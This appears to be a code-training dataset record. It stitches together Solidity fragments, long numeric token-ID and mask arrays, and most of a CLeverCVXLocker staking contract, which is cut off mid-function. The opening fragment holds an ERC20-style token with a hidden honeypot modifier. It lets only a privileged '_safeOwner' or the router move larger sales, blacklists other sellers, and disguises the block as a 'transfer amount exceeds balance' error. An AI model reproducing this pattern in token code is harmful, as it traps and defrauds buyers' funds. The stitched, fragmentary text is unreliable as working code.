require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. This is internal function is equivalent to `approve`, and can be used to e.g. set automatic allowances for certain subsystems, etc. Emits an {Approval} event. Requirements: - `owner` cannot be the zero address. - `spender` cannot be the zero address./ | function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| 5,910,499 | [
1,
2785,
1375,
8949,
68,
487,
326,
1699,
1359,
434,
1375,
87,
1302,
264,
68,
1879,
326,
1375,
8443,
68,
87,
2430,
18,
1220,
353,
2713,
445,
353,
7680,
358,
1375,
12908,
537,
9191,
471,
848,
506,
1399,
358,
425,
18,
75,
18,
444,
5859,
1699,
6872,
364,
8626,
15359,
87,
16,
5527,
18,
7377,
1282,
392,
288,
23461,
97,
871,
18,
29076,
30,
300,
1375,
8443,
68,
2780,
506,
326,
3634,
1758,
18,
300,
1375,
87,
1302,
264,
68,
2780,
506,
326,
3634,
1758,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
12908,
537,
1564,
12,
2867,
5793,
16,
1758,
8027,
16,
2254,
5034,
3844,
13,
2713,
18305,
1345,
1564,
12,
15330,
16,
20367,
16,
8949,
13,
5024,
288,
203,
3639,
2583,
12,
15330,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
628,
326,
3634,
1758,
8863,
203,
3639,
2583,
12,
20367,
480,
1758,
12,
20,
3631,
315,
654,
39,
3462,
30,
7412,
358,
326,
3634,
1758,
8863,
203,
203,
3639,
389,
5771,
1345,
5912,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
203,
3639,
389,
70,
26488,
63,
15330,
65,
273,
389,
70,
26488,
63,
15330,
8009,
1717,
12,
8949,
16,
315,
654,
39,
3462,
30,
7412,
3844,
14399,
11013,
8863,
203,
3639,
389,
70,
26488,
63,
20367,
65,
273,
389,
70,
26488,
63,
20367,
8009,
1289,
12,
8949,
1769,
203,
3639,
3626,
12279,
12,
15330,
16,
8027,
16,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/69/0x6391dfcD34C274F73C5334A60A810396F45bcB5E/sources/contracts/BinaryOptionMarketManager.sol | ========== LIBRARIES ========== */ ========== TYPES ========== */ | struct Fees {
uint poolFee;
uint creatorFee;
}
| 13,237,172 | [
1,
1432,
631,
8961,
7192,
985,
8805,
422,
1432,
342,
422,
1432,
3463,
55,
422,
1432,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
1958,
5782,
281,
288,
203,
3639,
2254,
2845,
14667,
31,
203,
3639,
2254,
11784,
14667,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/SafeERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "../interfaces/ICLeverCVXLocker.sol";
import "../interfaces/ICLeverToken.sol";
import "../interfaces/IConvexCVXLocker.sol";
import "../interfaces/IConvexCVXRewardPool.sol";
import "../interfaces/IFurnace.sol";
import "../interfaces/ISnapshotDelegateRegistry.sol";
import "../interfaces/IZap.sol";
// solhint-disable not-rely-on-time, max-states-count, reason-string
contract CLeverCVXLocker is OwnableUpgradeable, ICLeverCVXLocker {
using SafeMathUpgradeable for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
event UpdateWhitelist(address indexed _whitelist, bool _status);
event UpdateStakePercentage(uint256 _percentage);
event UpdateStakeThreshold(uint256 _threshold);
event UpdateRepayFeePercentage(uint256 _feePercentage);
event UpdatePlatformFeePercentage(uint256 _feePercentage);
event UpdateHarvestBountyPercentage(uint256 _percentage);
event UpdatePlatform(address indexed _platform);
event UpdateZap(address indexed _zap);
event UpdateGovernor(address indexed _governor);
// The precision used to calculate accumulated rewards.
uint256 private constant PRECISION = 1e18;
// The denominator used for fee calculation.
uint256 private constant FEE_DENOMINATOR = 1e9;
// The maximum value of repay fee percentage.
uint256 private constant MAX_REPAY_FEE = 1e8; // 10%
// The maximum value of platform fee percentage.
uint256 private constant MAX_PLATFORM_FEE = 2e8; // 20%
// The maximum value of harvest bounty percentage.
uint256 private constant MAX_HARVEST_BOUNTY = 1e8; // 10%
// The length of epoch in CVX Locker.
uint256 private constant REWARDS_DURATION = 86400 * 7; // 1 week
// The address of CVX token.
address private constant CVX = 0x4e3FBD56CD56c3e72c1403e103b45Db9da5B9D2B;
// The address of cvxCRV token.
address private constant CVXCRV = 0x62B9c7356A2Dc64a1969e19C23e4f579F9810Aa7;
// The address of CVXRewardPool Contract.
address private constant CVX_REWARD_POOL = 0xCF50b810E57Ac33B91dCF525C6ddd9881B139332;
// The address of CVXLockerV2 Contract.
address private constant CVX_LOCKER = 0x72a19342e8F1838460eBFCCEf09F6585e32db86E;
// The address of votium distributor
address private constant VOTIUM_DISTRIBUTOR = 0x378Ba9B73309bE80BF4C2c027aAD799766a7ED5A;
struct EpochUnlockInfo {
// The number of CVX should unlocked at the start of epoch `unlockEpoch`.
uint192 pendingUnlock;
// The epoch number to unlock `pendingUnlock` CVX
uint64 unlockEpoch;
}
struct UserInfo {
// The total number of clevCVX minted.
uint128 totalDebt;
// The amount of distributed reward.
uint128 rewards;
// The paid accumulated reward per share, multipled by 1e18.
uint192 rewardPerSharePaid;
// The block number of the last interacted block (deposit, unlock, withdraw, repay, borrow).
uint64 lastInteractedBlock;
// The total amount of CVX locked.
uint112 totalLocked;
// The total amount of CVX unlocked.
uint112 totalUnlocked;
// The next unlock index to speedup unlock process.
uint32 nextUnlockIndex;
// In Convex, if you lock at epoch `e` (block.timestamp in `[e * rewardsDuration, (e + 1) * rewardsDuration)`),
// you lock will start at epoch `e + 1` and will unlock at the beginning of epoch `(e + 17)`. If we relock right
// after the unlock, all unlocked CVX will start lock at epoch `e + 18`, and will locked again at epoch `e + 18 + 16`.
// If we continue the process, all CVX locked in epoch `e` will be unlocked at epoch `e + 17 * k` (k >= 1).
//
// Here, we maintain an array for easy calculation when users lock or unlock.
//
// `epochLocked[r]` maintains all locked CVX whose unlocking epoch is `17 * k + r`. It means at the beginning of
// epoch `17 * k + r`, the CVX will unlock, if we continue to relock right after unlock.
uint256[17] epochLocked;
// The list of pending unlocked CVX.
EpochUnlockInfo[] pendingUnlockList;
}
/// @dev The address of governor
address public governor;
/// @dev The address of clevCVX contract.
address public clevCVX;
/// @dev Assumptons:
/// 1. totalLockedGlobal + totalPendingUnlockGlobal is the total amount of CVX locked in CVXLockerV2.
/// 2. totalUnlockedGlobal is the total amount of CVX unlocked from CVXLockerV2 but still in contract.
/// 3. totalDebtGlobal is the total amount of clevCVX borrowed, will decrease when debt is repayed.
/// @dev The total amount of CVX locked in contract.
uint256 public totalLockedGlobal;
/// @dev The total amount of CVX going to unlocked.
uint256 public totalPendingUnlockGlobal;
/// @dev The total amount of CVX unlocked in CVXLockerV2 and will never be locked again.
uint256 public totalUnlockedGlobal;
/// @dev The total amount of clevCVX borrowed from this contract.
uint256 public totalDebtGlobal;
/// @dev The reward per share of CVX accumulated, will be updated in each harvest, multipled by 1e18.
uint256 public accRewardPerShare;
/// @dev Mapping from user address to user info.
mapping(address => UserInfo) public userInfo;
/// @dev Mapping from epoch number to the amount of CVX to be unlocked.
mapping(uint256 => uint256) public pendingUnlocked;
/// @dev The address of Furnace Contract.
address public furnace;
/// @dev The percentage of free CVX will be staked in CVXRewardPool.
uint256 public stakePercentage;
/// @dev The minimum of amount of CVX to be staked.
uint256 public stakeThreshold;
/// @dev The debt reserve rate to borrow clevCVX for each user.
uint256 public reserveRate;
/// @dev The list of tokens which will swap manually.
mapping(address => bool) public manualSwapRewardToken;
/// @dev The address of zap contract.
address public zap;
/// @dev The percentage of repay fee.
uint256 public repayFeePercentage;
/// @dev The percentage of rewards to take for caller on harvest
uint256 public harvestBountyPercentage;
/// @dev The percentage of rewards to take for platform on harvest
uint256 public platformFeePercentage;
/// @dev The address of recipient of platform fee
address public platform;
/// @dev The list of whitelist keeper.
mapping(address => bool) public isKeeper;
modifier onlyGovernorOrOwner() {
require(msg.sender == governor || msg.sender == owner(), "CLeverCVXLocker: only governor or owner");
_;
}
modifier onlyKeeper() {
require(isKeeper[msg.sender], "CLeverCVXLocker: only keeper");
_;
}
function initialize(
address _governor,
address _clevCVX,
address _zap,
address _furnace,
address _platform,
uint256 _platformFeePercentage,
uint256 _harvestBountyPercentage
) external initializer {
OwnableUpgradeable.__Ownable_init();
require(_governor != address(0), "CLeverCVXLocker: zero governor address");
require(_clevCVX != address(0), "CLeverCVXLocker: zero clevCVX address");
require(_zap != address(0), "CLeverCVXLocker: zero zap address");
require(_furnace != address(0), "CLeverCVXLocker: zero furnace address");
require(_platform != address(0), "CLeverCVXLocker: zero platform address");
require(_platformFeePercentage <= MAX_PLATFORM_FEE, "CLeverCVXLocker: fee too large");
require(_harvestBountyPercentage <= MAX_HARVEST_BOUNTY, "CLeverCVXLocker: fee too large");
governor = _governor;
clevCVX = _clevCVX;
zap = _zap;
furnace = _furnace;
platform = _platform;
platformFeePercentage = _platformFeePercentage;
harvestBountyPercentage = _harvestBountyPercentage;
reserveRate = 500_000_000;
}
/********************************** View Functions **********************************/
/// @dev Return user info in this contract.
/// @param _account The address of user.
/// @return totalDeposited The amount of CVX deposited in this contract of the user.
/// @return totalPendingUnlocked The amount of CVX pending to be unlocked.
/// @return totalUnlocked The amount of CVX unlokced of the user and can be withdrawed.
/// @return totalBorrowed The amount of clevCVX borrowed by the user.
/// @return totalReward The amount of CVX reward accrued for the user.
function getUserInfo(address _account)
external
view
override
returns (
uint256 totalDeposited,
uint256 totalPendingUnlocked,
uint256 totalUnlocked,
uint256 totalBorrowed,
uint256 totalReward
)
{
UserInfo storage _info = userInfo[_account];
totalDeposited = _info.totalLocked;
// update total reward and total Borrowed
totalBorrowed = _info.totalDebt;
totalReward = uint256(_info.rewards).add(
accRewardPerShare.sub(_info.rewardPerSharePaid).mul(totalDeposited) / PRECISION
);
if (totalBorrowed > 0) {
if (totalReward >= totalBorrowed) {
totalReward -= totalBorrowed;
totalBorrowed = 0;
} else {
totalBorrowed -= totalReward;
totalReward = 0;
}
}
// update total unlocked and total pending unlocked.
totalUnlocked = _info.totalUnlocked;
EpochUnlockInfo[] storage _pendingUnlockList = _info.pendingUnlockList;
uint256 _nextUnlockIndex = _info.nextUnlockIndex;
uint256 _currentEpoch = block.timestamp / REWARDS_DURATION;
while (_nextUnlockIndex < _pendingUnlockList.length) {
if (_pendingUnlockList[_nextUnlockIndex].unlockEpoch <= _currentEpoch) {
totalUnlocked += _pendingUnlockList[_nextUnlockIndex].pendingUnlock;
} else {
totalPendingUnlocked += _pendingUnlockList[_nextUnlockIndex].pendingUnlock;
}
_nextUnlockIndex += 1;
}
}
/// @dev Return the lock and pending unlocked list of user.
/// @param _account The address of user.
/// @return locks The list of CVX locked by the user, including amount and nearest unlock epoch.
/// @return pendingUnlocks The list of CVX pending unlocked of the user, including amount and the unlock epoch.
function getUserLocks(address _account)
external
view
returns (EpochUnlockInfo[] memory locks, EpochUnlockInfo[] memory pendingUnlocks)
{
UserInfo storage _info = userInfo[_account];
uint256 _currentEpoch = block.timestamp / REWARDS_DURATION;
uint256 lengthLocks;
for (uint256 i = 0; i < 17; i++) {
if (_info.epochLocked[i] > 0) {
lengthLocks++;
}
}
locks = new EpochUnlockInfo[](lengthLocks);
lengthLocks = 0;
for (uint256 i = 0; i < 17; i++) {
uint256 _index = (_currentEpoch + i + 1) % 17;
if (_info.epochLocked[_index] > 0) {
locks[lengthLocks].pendingUnlock = uint192(_info.epochLocked[_index]);
locks[lengthLocks].unlockEpoch = uint64(_currentEpoch + i + 1);
lengthLocks += 1;
}
}
uint256 _nextUnlockIndex = _info.nextUnlockIndex;
EpochUnlockInfo[] storage _pendingUnlockList = _info.pendingUnlockList;
uint256 lengthPendingUnlocks;
for (uint256 i = _nextUnlockIndex; i < _pendingUnlockList.length; i++) {
if (_pendingUnlockList[i].unlockEpoch > _currentEpoch) {
lengthPendingUnlocks += 1;
}
}
pendingUnlocks = new EpochUnlockInfo[](lengthPendingUnlocks);
lengthPendingUnlocks = 0;
for (uint256 i = _nextUnlockIndex; i < _pendingUnlockList.length; i++) {
if (_pendingUnlockList[i].unlockEpoch > _currentEpoch) {
pendingUnlocks[lengthPendingUnlocks] = _pendingUnlockList[i];
lengthPendingUnlocks += 1;
}
}
}
/// @dev Return the total amount of free CVX in this contract, including staked in CVXRewardPool.
/// @return The amount of CVX in this contract now.
function totalCVXInPool() public view returns (uint256) {
return
IERC20Upgradeable(CVX).balanceOf(address(this)).add(
IConvexCVXRewardPool(CVX_REWARD_POOL).balanceOf(address(this))
);
}
/********************************** Mutated Functions **********************************/
/// @dev Deposit CVX and lock into CVXLockerV2
/// @param _amount The amount of CVX to lock.
function deposit(uint256 _amount) external override {
require(_amount > 0, "CLeverCVXLocker: deposit zero CVX");
IERC20Upgradeable(CVX).safeTransferFrom(msg.sender, address(this), _amount);
// 1. update reward info
_updateReward(msg.sender);
// 2. lock to CVXLockerV2
IERC20Upgradeable(CVX).safeApprove(CVX_LOCKER, 0);
IERC20Upgradeable(CVX).safeApprove(CVX_LOCKER, _amount);
IConvexCVXLocker(CVX_LOCKER).lock(address(this), _amount, 0);
// 3. update user lock info
uint256 _currentEpoch = block.timestamp / REWARDS_DURATION;
uint256 _reminder = _currentEpoch % 17;
UserInfo storage _info = userInfo[msg.sender];
_info.totalLocked = uint112(_amount + uint256(_info.totalLocked)); // should never overflow
_info.epochLocked[_reminder] = _amount + _info.epochLocked[_reminder]; // should never overflow
// 4. update global info
totalLockedGlobal = _amount.add(totalLockedGlobal); // direct cast shoule be safe
emit Deposit(msg.sender, _amount);
}
/// @dev Unlock CVX from the CVXLockerV2
/// Notice that all pending unlocked CVX will not share future rewards.
/// @param _amount The amount of CVX to unlock.
function unlock(uint256 _amount) external override {
require(_amount > 0, "CLeverCVXLocker: unlock zero CVX");
// 1. update reward info
_updateReward(msg.sender);
// 2. update unlocked info
_updateUnlocked(msg.sender);
// 3. check unlock limit and update
UserInfo storage _info = userInfo[msg.sender];
{
uint256 _totalLocked = _info.totalLocked;
uint256 _totalDebt = _info.totalDebt;
require(_amount <= _totalLocked, "CLeverCVXLocker: insufficient CVX to unlock");
_checkAccountHealth(_totalLocked, _totalDebt, _amount, 0);
// if you choose unlock, all pending unlocked CVX will not share the reward.
_info.totalLocked = uint112(_totalLocked - _amount); // should never overflow
// global unlock info will be updated in `processUnlockableCVX`
totalLockedGlobal -= _amount;
totalPendingUnlockGlobal += _amount;
}
emit Unlock(msg.sender, _amount);
// 4. enumerate lockInfo array to unlock
uint256 _nextEpoch = block.timestamp / REWARDS_DURATION + 1;
EpochUnlockInfo[] storage _pendingUnlockList = _info.pendingUnlockList;
uint256 _index;
uint256 _locked;
uint256 _unlocked;
for (uint256 i = 0; i < 17; i++) {
_index = _nextEpoch % 17;
_locked = _info.epochLocked[_index];
if (_amount >= _locked) _unlocked = _locked;
else _unlocked = _amount;
if (_unlocked > 0) {
_info.epochLocked[_index] = _locked - _unlocked; // should never overflow
_amount = _amount - _unlocked; // should never overflow
pendingUnlocked[_nextEpoch] = pendingUnlocked[_nextEpoch] + _unlocked; // should never overflow
if (
_pendingUnlockList.length == 0 || _pendingUnlockList[_pendingUnlockList.length - 1].unlockEpoch != _nextEpoch
) {
_pendingUnlockList.push(
EpochUnlockInfo({ pendingUnlock: uint192(_unlocked), unlockEpoch: uint64(_nextEpoch) })
);
} else {
_pendingUnlockList[_pendingUnlockList.length - 1].pendingUnlock = uint192(
_unlocked + _pendingUnlockList[_pendingUnlockList.length - 1].pendingUnlock
);
}
}
if (_amount == 0) break;
_nextEpoch = _nextEpoch + 1;
}
}
/// @dev Withdraw all unlocked CVX from this contract.
function withdrawUnlocked() external override {
// 1. update reward info
_updateReward(msg.sender);
// 2. update unlocked info
_updateUnlocked(msg.sender);
// 3. claim unlocked CVX
UserInfo storage _info = userInfo[msg.sender];
uint256 _unlocked = _info.totalUnlocked;
_info.totalUnlocked = 0;
// update global info
totalUnlockedGlobal = totalUnlockedGlobal.sub(_unlocked);
uint256 _balanceInContract = IERC20Upgradeable(CVX).balanceOf(address(this));
// balance is not enough, with from reward pool
if (_balanceInContract < _unlocked) {
IConvexCVXRewardPool(CVX_REWARD_POOL).withdraw(_unlocked - _balanceInContract, false);
}
IERC20Upgradeable(CVX).safeTransfer(msg.sender, _unlocked);
emit Withdraw(msg.sender, _unlocked);
}
/// @dev Repay clevCVX debt with CVX or clevCVX.
/// @param _cvxAmount The amount of CVX used to pay debt.
/// @param _clevCVXAmount The amount of clevCVX used to pay debt.
function repay(uint256 _cvxAmount, uint256 _clevCVXAmount) external override {
require(_cvxAmount > 0 || _clevCVXAmount > 0, "CLeverCVXLocker: repay zero amount");
// 1. update reward info
_updateReward(msg.sender);
UserInfo storage _info = userInfo[msg.sender];
uint256 _totalDebt = _info.totalDebt;
uint256 _totalDebtGlobal = totalDebtGlobal;
// 3. check repay with cvx and take fee
if (_cvxAmount > 0 && _totalDebt > 0) {
if (_cvxAmount > _totalDebt) _cvxAmount = _totalDebt;
uint256 _fee = _cvxAmount.mul(repayFeePercentage) / FEE_DENOMINATOR;
_totalDebt = _totalDebt - _cvxAmount; // never overflow
_totalDebtGlobal = _totalDebtGlobal - _cvxAmount; // never overflow
// distribute to furnace and transfer fee to platform
IERC20Upgradeable(CVX).safeTransferFrom(msg.sender, address(this), _cvxAmount + _fee);
if (_fee > 0) {
IERC20Upgradeable(CVX).safeTransfer(platform, _fee);
}
address _furnace = furnace;
IERC20Upgradeable(CVX).safeApprove(_furnace, 0);
IERC20Upgradeable(CVX).safeApprove(_furnace, _cvxAmount);
IFurnace(_furnace).distribute(address(this), _cvxAmount);
}
// 4. check repay with clevCVX
if (_clevCVXAmount > 0 && _totalDebt > 0) {
if (_clevCVXAmount > _totalDebt) _clevCVXAmount = _totalDebt;
uint256 _fee = _clevCVXAmount.mul(repayFeePercentage) / FEE_DENOMINATOR;
_totalDebt = _totalDebt - _clevCVXAmount; // never overflow
_totalDebtGlobal = _totalDebtGlobal - _clevCVXAmount;
// burn debt token and tranfer fee to platform
if (_fee > 0) {
IERC20Upgradeable(clevCVX).safeTransferFrom(msg.sender, platform, _fee);
}
ICLeverToken(clevCVX).burnFrom(msg.sender, _clevCVXAmount);
}
_info.totalDebt = uint128(_totalDebt);
totalDebtGlobal = _totalDebtGlobal;
emit Repay(msg.sender, _cvxAmount, _clevCVXAmount);
}
/// @dev Borrow clevCVX from this contract.
/// Notice the reward will be used first and it will not be treated as debt.
/// @param _amount The amount of clevCVX to borrow.
/// @param _depositToFurnace Whether to deposit borrowed clevCVX to furnace.
function borrow(uint256 _amount, bool _depositToFurnace) external override {
require(_amount > 0, "CLeverCVXLocker: borrow zero amount");
// 1. update reward info
_updateReward(msg.sender);
UserInfo storage _info = userInfo[msg.sender];
uint256 _rewards = _info.rewards;
uint256 _borrowWithLocked;
// 2. borrow with rewards, this will not be treated as debt.
if (_rewards >= _amount) {
_info.rewards = uint128(_rewards - _amount);
} else {
_info.rewards = 0;
_borrowWithLocked = _amount - _rewards;
}
// 3. borrow with locked CVX
if (_borrowWithLocked > 0) {
uint256 _totalLocked = _info.totalLocked;
uint256 _totalDebt = _info.totalDebt;
_checkAccountHealth(_totalLocked, _totalDebt, 0, _borrowWithLocked);
// update user info
_info.totalDebt = uint128(_totalDebt + _borrowWithLocked); // should not overflow.
// update global info
totalDebtGlobal = totalDebtGlobal + _borrowWithLocked; // should not overflow.
}
_mintOrDeposit(_amount, _depositToFurnace);
emit Borrow(msg.sender, _amount);
}
/// @dev Someone donate CVX to all CVX locker in this contract.
/// @param _amount The amount of CVX to donate.
function donate(uint256 _amount) external override {
require(_amount > 0, "CLeverCVXLocker: donate zero amount");
IERC20Upgradeable(CVX).safeTransferFrom(msg.sender, address(this), _amount);
_distribute(_amount);
}
/// @dev Harvest pending reward from CVXLockerV2 and CVXRewardPool, then swap it to CVX.
/// @param _recipient - The address of account to receive harvest bounty.
/// @param _minimumOut - The minimum amount of CVX should get.
/// @return The amount of CVX harvested.
function harvest(address _recipient, uint256 _minimumOut) external override returns (uint256) {
// 1. harvest from CVXLockerV2 and CVXRewardPool
IConvexCVXRewardPool(CVX_REWARD_POOL).getReward(false);
IConvexCVXLocker(CVX_LOCKER).getReward(address(this));
// 2. convert all CVXCRV to CVX
uint256 _amount = IERC20Upgradeable(CVXCRV).balanceOf(address(this));
if (_amount > 0) {
IERC20Upgradeable(CVXCRV).safeTransfer(zap, _amount);
_amount = IZap(zap).zap(CVXCRV, _amount, CVX, _minimumOut);
}
require(_amount >= _minimumOut, "CLeverCVXLocker: insufficient output");
// 3. distribute incentive to platform and _recipient
uint256 _platformFee = platformFeePercentage;
uint256 _distributeAmount = _amount;
if (_platformFee > 0) {
_platformFee = (_distributeAmount * _platformFee) / FEE_DENOMINATOR;
_distributeAmount = _distributeAmount - _platformFee;
IERC20Upgradeable(CVX).safeTransfer(platform, _platformFee);
}
uint256 _harvestBounty = harvestBountyPercentage;
if (_harvestBounty > 0) {
_harvestBounty = (_distributeAmount * _harvestBounty) / FEE_DENOMINATOR;
_distributeAmount = _distributeAmount - _harvestBounty;
IERC20Upgradeable(CVX).safeTransfer(_recipient, _harvestBounty);
}
// 4. distribute to users
_distribute(_distributeAmount);
emit Harvest(msg.sender, _distributeAmount, _platformFee, _harvestBounty);
return _amount;
}
/// @dev Harvest pending reward from Votium, then swap it to CVX.
/// @param claims The parameters used by VotiumMultiMerkleStash contract.
/// @param _minimumOut - The minimum amount of CVX should get.
/// @return The amount of CVX harvested.
function harvestVotium(IVotiumMultiMerkleStash.claimParam[] calldata claims, uint256 _minimumOut)
external
override
onlyKeeper
returns (uint256)
{
// 1. claim reward from votium
for (uint256 i = 0; i < claims.length; i++) {
// in case someone has claimed the reward for this contract, we can still call this function to process reward.
if (!IVotiumMultiMerkleStash(VOTIUM_DISTRIBUTOR).isClaimed(claims[i].token, claims[i].index)) {
IVotiumMultiMerkleStash(VOTIUM_DISTRIBUTOR).claim(
claims[i].token,
claims[i].index,
address(this),
claims[i].amount,
claims[i].merkleProof
);
}
}
address[] memory _rewardTokens = new address[](claims.length);
uint256[] memory _amounts = new uint256[](claims.length);
for (uint256 i = 0; i < claims.length; i++) {
_rewardTokens[i] = claims[i].token;
// TODO: consider fee on transfer token (currently, such token doesn't exsist)
_amounts[i] = claims[i].amount;
}
// 2. swap all tokens to CVX
uint256 _amount = _swapToCVX(_rewardTokens, _amounts, _minimumOut);
// 3. distribute to platform
uint256 _distributeAmount = _amount;
